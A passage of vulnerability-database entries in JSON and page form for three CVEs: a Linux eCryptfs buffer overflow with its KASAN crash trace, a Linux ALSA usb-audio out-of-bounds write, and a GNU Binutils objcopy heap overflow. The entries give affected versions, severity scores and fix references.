              "lessThan": "f6008487f1eeb8693f8d2a36a89c87d9122ddf74",
              "status": "affected",
              "version": "dddfa461fc8951f9b5f951c13565b6cac678635a",
              "versionType": "git"
            },
            {
              "lessThan": "85a6a1aff08ec9f5b929d345d066e2830e8818e5",
              "status": "affected",
              "version": "dddfa461fc8951f9b5f951c13565b6cac678635a",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/ecryptfs/keystore.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.21"
            },
            {
              "lessThan": "2.6.21",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.316",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.278",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.219",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.161",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.93",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.33",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.12",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.316",
                  "versionStartIncluding": "2.6.21",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.278",
                  "versionStartIncluding": "2.6.21",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.219",
                  "versionStartIncluding": "2.6.21",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.161",
                  "versionStartIncluding": "2.6.21",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.93",
                  "versionStartIncluding": "2.6.21",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.33",
                  "versionStartIncluding": "2.6.21",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.12",
                  "versionStartIncluding": "2.6.21",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.3",
                  "versionStartIncluding": "2.6.21",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "2.6.21",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\necryptfs: Fix buffer size for tag 66 packet\n\nThe \u0027TAG 66 Packet Format\u0027 description is missing the cipher code and\nchecksum fields that are packed into the message packet. As a result,\nthe buffer allocated for the packet is 3 bytes too small and\nwrite_tag_66_packet() will write up to 3 bytes past the end of the\nbuffer.\n\nFix this by increasing the size of the allocation so the whole packet\nwill always fit in the buffer.\n\nThis fixes the below kasan slab-out-of-bounds bug:\n\n  BUG: KASAN: slab-out-of-bounds in ecryptfs_generate_key_packet_set+0x7d6/0xde0\n  Write of size 1 at addr ffff88800afbb2a5 by task touch/181\n\n  CPU: 0 PID: 181 Comm: touch Not tainted 6.6.13-gnu #1 4c9534092be820851bb687b82d1f92a426598dc6\n  Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.2/GNU Guix 04/01/2014\n  Call Trace:\n   \u003cTASK\u003e\n   dump_stack_lvl+0x4c/0x70\n   print_report+0xc5/0x610\n   ? ecryptfs_generate_key_packet_set+0x7d6/0xde0\n   ? kasan_complete_mode_report_info+0x44/0x210\n   ? ecryptfs_generate_key_packet_set+0x7d6/0xde0\n   kasan_report+0xc2/0x110\n   ? ecryptfs_generate_key_packet_set+0x7d6/0xde0\n   __asan_store1+0x62/0x80\n   ecryptfs_generate_key_packet_set+0x7d6/0xde0\n   ? __pfx_ecryptfs_generate_key_packet_set+0x10/0x10\n   ? __alloc_pages+0x2e2/0x540\n   ? __pfx_ovl_open+0x10/0x10 [overlay 30837f11141636a8e1793533a02e6e2e885dad1d]\n   ? dentry_open+0x8f/0xd0\n   ecryptfs_write_metadata+0x30a/0x550\n   ? __pfx_ecryptfs_write_metadata+0x10/0x10\n   ? ecryptfs_get_lower_file+0x6b/0x190\n   ecryptfs_initialize_file+0x77/0x150\n   ecryptfs_create+0x1c2/0x2f0\n   path_openat+0x17cf/0x1ba0\n   ? __pfx_path_openat+0x10/0x10\n   do_filp_open+0x15e/0x290\n   ? __pfx_do_filp_open+0x10/0x10\n   ? __kasan_check_write+0x18/0x30\n   ? _raw_spin_lock+0x86/0xf0\n   ? __pfx__raw_spin_lock+0x10/0x10\n   ? __kasan_check_write+0x18/0x30\n   ? alloc_fd+0xf4/0x330\n   do_sys_openat2+0x122/0x160\n   ? __pfx_do_sys_openat2+0x10/0x10\n   __x64_sys_openat+0xef/0x170\n   ? __pfx___x64_sys_openat+0x10/0x10\n   do_syscall_64+0x60/0xd0\n   entry_SYSCALL_64_after_hwframe+0x6e/0xd8\n  RIP: 0033:0x7f00a703fd67\n  Code: 25 00 00 41 00 3d 00 00 41 00 74 37 64 8b 04 25 18 00 00 00 85 c0 75 5b 44 89 e2 48 89 ee bf 9c ff ff ff b8 01 01 00 00 0f 05 \u003c48\u003e 3d 00 f0 ff ff 0f 87 85 00 00 00 48 83 c4 68 5d 41 5c c3 0f 1f\n  RSP: 002b:00007ffc088e30b0 EFLAGS: 00000246 ORIG_RAX: 0000000000000101\n  RAX: ffffffffffffffda RBX: 00007ffc088e3368 RCX: 00007f00a703fd67\n  RDX: 0000000000000941 RSI: 00007ffc088e48d7 RDI: 00000000ffffff9c\n  RBP: 00007ffc088e48d7 R08: 0000000000000001 R09: 0000000000000000\n  R10: 00000000000001b6 R11: 0000000000000246 R12: 0000000000000941\n  R13: 0000000000000000 R14: 00007ffc088e48d7 R15: 00007f00a7180040\n   \u003c/TASK\u003e\n\n  Allocated by task 181:\n   kasan_save_stack+0x2f/0x60\n   kasan_set_track+0x29/0x40\n   kasan_save_alloc_info+0x25/0x40\n   __kasan_kmalloc+0xc5/0xd0\n   __kmalloc+0x66/0x160\n   ecryptfs_generate_key_packet_set+0x6d2/0xde0\n   ecryptfs_write_metadata+0x30a/0x550\n   ecryptfs_initialize_file+0x77/0x150\n   ecryptfs_create+0x1c2/0x2f0\n   path_openat+0x17cf/0x1ba0\n   do_filp_open+0x15e/0x290\n   do_sys_openat2+0x122/0x160\n   __x64_sys_openat+0xef/0x170\n   do_syscall_64+0x60/0xd0\n   entry_SYSCALL_64_after_hwframe+0x6e/0xd8"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:19:25.947Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/1c125b9287e58f364d82174efb167414b92b11f1"
        },
        {
          "url": "https://git.kernel.org/stable/c/235b85981051cd68fc215fd32a81c6f116bfc4df"
        },
        {
          "url": "https://git.kernel.org/stable/c/edbfc42ab080e78c6907d40a42c9d10b69e445c1"
        },
        {
          "url": "https://git.kernel.org/stable/c/12db25a54ce6bb22b0af28010fff53ef9cb3fe93"
        },
        {
          "url": "https://git.kernel.org/stable/c/0d0f8ba042af16519f1ef7dd10463a33b21b677c"
        },
        {
          "url": "https://git.kernel.org/stable/c/2ed750b7ae1b5dc72896d7dd114c419afd3d1910"
        },
        {
          "url": "https://git.kernel.org/stable/c/a20f09452e2f58f761d11ad7b96b5c894c91030e"
        },
        {
          "url": "https://git.kernel.org/stable/c/f6008487f1eeb8693f8d2a36a89c87d9122ddf74"
        },
        {
          "url": "https://git.kernel.org/stable/c/85a6a1aff08ec9f5b929d345d066e2830e8818e5"
        }
      ],
      "title": "ecryptfs: Fix buffer size for tag 66 packet",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-38578",
    "datePublished": "2024-06-19T13:37:36.487Z",
    "dateReserved": "2024-06-18T19:36:34.926Z",
    "dateUpdated": "2026-05-12T11:54:43.334Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-27436 (GCVE-0-2024-27436)

Vulnerability from cvelistv5 – Published: 2024-05-17 12:12 – Updated: 2026-05-12 11:51

Title

ALSA: usb-audio: Stop parsing channels bits when all channels are found.

Summary

In the Linux kernel, the following vulnerability has been resolved: ALSA: usb-audio: Stop parsing channels bits when all channels are found. If a usb audio device sets more bits than the amount of channels it could write outside of the map array.

Severity ?

5.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

CWE

CWE-787 - Out-of-bounds Write

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/7e2c1b0f6dd9abde9…
https://git.kernel.org/stable/c/6d5dc96b154be371d…
https://git.kernel.org/stable/c/5cd466673b34bac36…
https://git.kernel.org/stable/c/9af1658ba293458ca…
https://git.kernel.org/stable/c/629af0d5fe94a35f4…
https://git.kernel.org/stable/c/22cad1b841a63635a…
https://git.kernel.org/stable/c/c8a24fd281dcdf3c9…
https://git.kernel.org/stable/c/6d88b289fb0a8d055…
https://git.kernel.org/stable/c/a39d51ff1f52cd0b6…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 04324ccc75f96b3ed7aad1c866d1b7925e977bdf , < 7e2c1b0f6dd9abde9e60f0f9730026714468770f (git) Affected: 04324ccc75f96b3ed7aad1c866d1b7925e977bdf , < 6d5dc96b154be371df0d62ecb07efe400701ed8a (git) Affected: 04324ccc75f96b3ed7aad1c866d1b7925e977bdf , < 5cd466673b34bac369334f66cbe14bb77b7d7827 (git) Affected: 04324ccc75f96b3ed7aad1c866d1b7925e977bdf , < 9af1658ba293458ca6a13f70637b9654fa4be064 (git) Affected: 04324ccc75f96b3ed7aad1c866d1b7925e977bdf , < 629af0d5fe94a35f498ba2c3f19bd78bfa591be6 (git) Affected: 04324ccc75f96b3ed7aad1c866d1b7925e977bdf , < 22cad1b841a63635a38273b799b4791f202ade72 (git) Affected: 04324ccc75f96b3ed7aad1c866d1b7925e977bdf , < c8a24fd281dcdf3c926413dafbafcf35cde517a9 (git) Affected: 04324ccc75f96b3ed7aad1c866d1b7925e977bdf , < 6d88b289fb0a8d055cb79d1c46a56aba7809d96d (git) Affected: 04324ccc75f96b3ed7aad1c866d1b7925e977bdf , < a39d51ff1f52cd0b6fe7d379ac93bd8b4237d1b7 (git)
Linux	Linux	Affected: 3.8 Unaffected: 0 , < 3.8 (semver) Unaffected: 4.19.311 , ≤ 4.19.* (semver) Unaffected: 5.4.273 , ≤ 5.4.* (semver) Unaffected: 5.10.214 , ≤ 5.10.* (semver) Unaffected: 5.15.153 , ≤ 5.15.* (semver) Unaffected: 6.1.83 , ≤ 6.1.* (semver) Unaffected: 6.6.23 , ≤ 6.6.* (semver) Unaffected: 6.7.11 , ≤ 6.7.* (semver) Unaffected: 6.8.2 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "LOW",
              "baseScore": 5.3,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-27436",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-21T15:45:09.433584Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-787",
                "description": "CWE-787 Out-of-bounds Write",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-11-07T20:20:17.657Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:34:52.266Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/7e2c1b0f6dd9abde9e60f0f9730026714468770f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/6d5dc96b154be371df0d62ecb07efe400701ed8a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/5cd466673b34bac369334f66cbe14bb77b7d7827"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/9af1658ba293458ca6a13f70637b9654fa4be064"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/629af0d5fe94a35f498ba2c3f19bd78bfa591be6"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/22cad1b841a63635a38273b799b4791f202ade72"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c8a24fd281dcdf3c926413dafbafcf35cde517a9"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/6d88b289fb0a8d055cb79d1c46a56aba7809d96d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a39d51ff1f52cd0b6fe7d379ac93bd8b4237d1b7"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:51:39.195Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "sound/usb/stream.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "7e2c1b0f6dd9abde9e60f0f9730026714468770f",
              "status": "affected",
              "version": "04324ccc75f96b3ed7aad1c866d1b7925e977bdf",
              "versionType": "git"
            },
            {
              "lessThan": "6d5dc96b154be371df0d62ecb07efe400701ed8a",
              "status": "affected",
              "version": "04324ccc75f96b3ed7aad1c866d1b7925e977bdf",
              "versionType": "git"
            },
            {
              "lessThan": "5cd466673b34bac369334f66cbe14bb77b7d7827",
              "status": "affected",
              "version": "04324ccc75f96b3ed7aad1c866d1b7925e977bdf",
              "versionType": "git"
            },
            {
              "lessThan": "9af1658ba293458ca6a13f70637b9654fa4be064",
              "status": "affected",
              "version": "04324ccc75f96b3ed7aad1c866d1b7925e977bdf",
              "versionType": "git"
            },
            {
              "lessThan": "629af0d5fe94a35f498ba2c3f19bd78bfa591be6",
              "status": "affected",
              "version": "04324ccc75f96b3ed7aad1c866d1b7925e977bdf",
              "versionType": "git"
            },
            {
              "lessThan": "22cad1b841a63635a38273b799b4791f202ade72",
              "status": "affected",
              "version": "04324ccc75f96b3ed7aad1c866d1b7925e977bdf",
              "versionType": "git"
            },
            {
              "lessThan": "c8a24fd281dcdf3c926413dafbafcf35cde517a9",
              "status": "affected",
              "version": "04324ccc75f96b3ed7aad1c866d1b7925e977bdf",
              "versionType": "git"
            },
            {
              "lessThan": "6d88b289fb0a8d055cb79d1c46a56aba7809d96d",
              "status": "affected",
              "version": "04324ccc75f96b3ed7aad1c866d1b7925e977bdf",
              "versionType": "git"
            },
            {
              "lessThan": "a39d51ff1f52cd0b6fe7d379ac93bd8b4237d1b7",
              "status": "affected",
              "version": "04324ccc75f96b3ed7aad1c866d1b7925e977bdf",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "sound/usb/stream.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.8"
            },
            {
              "lessThan": "3.8",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.311",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.273",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.214",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.153",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.83",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.23",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.311",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.273",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.214",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.153",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.83",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.23",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.11",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.2",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nALSA: usb-audio: Stop parsing channels bits when all channels are found.\n\nIf a usb audio device sets more bits than the amount of channels\nit could write outside of the map array."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:10:46.477Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/7e2c1b0f6dd9abde9e60f0f9730026714468770f"
        },
        {
          "url": "https://git.kernel.org/stable/c/6d5dc96b154be371df0d62ecb07efe400701ed8a"
        },
        {
          "url": "https://git.kernel.org/stable/c/5cd466673b34bac369334f66cbe14bb77b7d7827"
        },
        {
          "url": "https://git.kernel.org/stable/c/9af1658ba293458ca6a13f70637b9654fa4be064"
        },
        {
          "url": "https://git.kernel.org/stable/c/629af0d5fe94a35f498ba2c3f19bd78bfa591be6"
        },
        {
          "url": "https://git.kernel.org/stable/c/22cad1b841a63635a38273b799b4791f202ade72"
        },
        {
          "url": "https://git.kernel.org/stable/c/c8a24fd281dcdf3c926413dafbafcf35cde517a9"
        },
        {
          "url": "https://git.kernel.org/stable/c/6d88b289fb0a8d055cb79d1c46a56aba7809d96d"
        },
        {
          "url": "https://git.kernel.org/stable/c/a39d51ff1f52cd0b6fe7d379ac93bd8b4237d1b7"
        }
      ],
      "title": "ALSA: usb-audio: Stop parsing channels bits when all channels are found.",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-27436",
    "datePublished": "2024-05-17T12:12:40.017Z",
    "dateReserved": "2024-02-25T13:47:42.687Z",
    "dateUpdated": "2026-05-12T11:51:39.195Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-7545 (GCVE-0-2025-7545)

Vulnerability from cvelistv5 – Published: 2025-07-13 21:44 – Updated: 2026-05-12 12:02

Title

GNU Binutils objcopy.c copy_section heap-based overflow

Summary

A vulnerability classified as problematic was found in GNU Binutils 2.45. Affected by this vulnerability is the function copy_section of the file binutils/objcopy.c. The manipulation leads to heap-based buffer overflow. Attacking locally is a requirement. The exploit has been disclosed to the public and may be used. The patch is named 08c3cbe5926e4d355b5cb70bbec2b1eeb40c2944. It is recommended to apply a patch to fix this issue.

Severity ?

4.8 (Medium)


                        
                          CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P

5.3 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L/E:P/RL:O/RC:C

5.3 (Medium)


                        
                          CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L/E:P/RL:O/RC:C

CWE

CWE-122 - Heap-based Buffer Overflow
CWE-119 - Memory Corruption

Assigner

VulDB

References

8 references

URL	Tags
https://vuldb.com/?id.316243	vdb-entrytechnical-description
https://vuldb.com/?ctiid.316243	signaturepermissions-required
https://vuldb.com/?submit.614355	third-party-advisory
https://sourceware.org/bugzilla/show_bug.cgi?id=33049	issue-tracking
https://sourceware.org/bugzilla/show_bug.cgi?id=3…	issue-tracking
https://sourceware.org/bugzilla/attachment.cgi?id=16117	exploit
https://sourceware.org/git/gitweb.cgi?p=binutils-…	patch
https://www.gnu.org/	product

Impacted products

1 product

Vendor	Product	Version
GNU	Binutils	Affected: 2.45

Credits

arthurx (VulDB User)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-7545",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-07-14T16:43:40.760040Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-07-15T19:53:03.699Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://sourceware.org/bugzilla/show_bug.cgi?id=33049#c1"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:02:34.852Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-082556.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "Binutils",
          "vendor": "GNU",
          "versions": [
            {
              "status": "affected",
              "version": "2.45"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "reporter",
          "value": "arthurx (VulDB User)"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "A vulnerability classified as problematic was found in GNU Binutils 2.45. Affected by this vulnerability is the function copy_section of the file binutils/objcopy.c. The manipulation leads to heap-based buffer overflow. Attacking locally is a requirement. The exploit has been disclosed to the public and may be used. The patch is named 08c3cbe5926e4d355b5cb70bbec2b1eeb40c2944. It is recommended to apply a patch to fix this issue."
        },
        {
          "lang": "de",
          "value": "In GNU Binutils 2.45 wurde eine problematische Schwachstelle entdeckt. Dabei geht es um die Funktion copy_section der Datei binutils/objcopy.c. Durch Manipulation mit unbekannten Daten kann eine heap-based buffer overflow-Schwachstelle ausgenutzt werden. Der Angriff muss lokal angegangen werden. Der Exploit steht zur \u00f6ffentlichen Verf\u00fcgung. Der Patch wird als 08c3cbe5926e4d355b5cb70bbec2b1eeb40c2944 bezeichnet. Als bestm\u00f6gliche Massnahme wird Patching empfohlen."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "baseScore": 4.8,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P",
            "version": "4.0"
          }
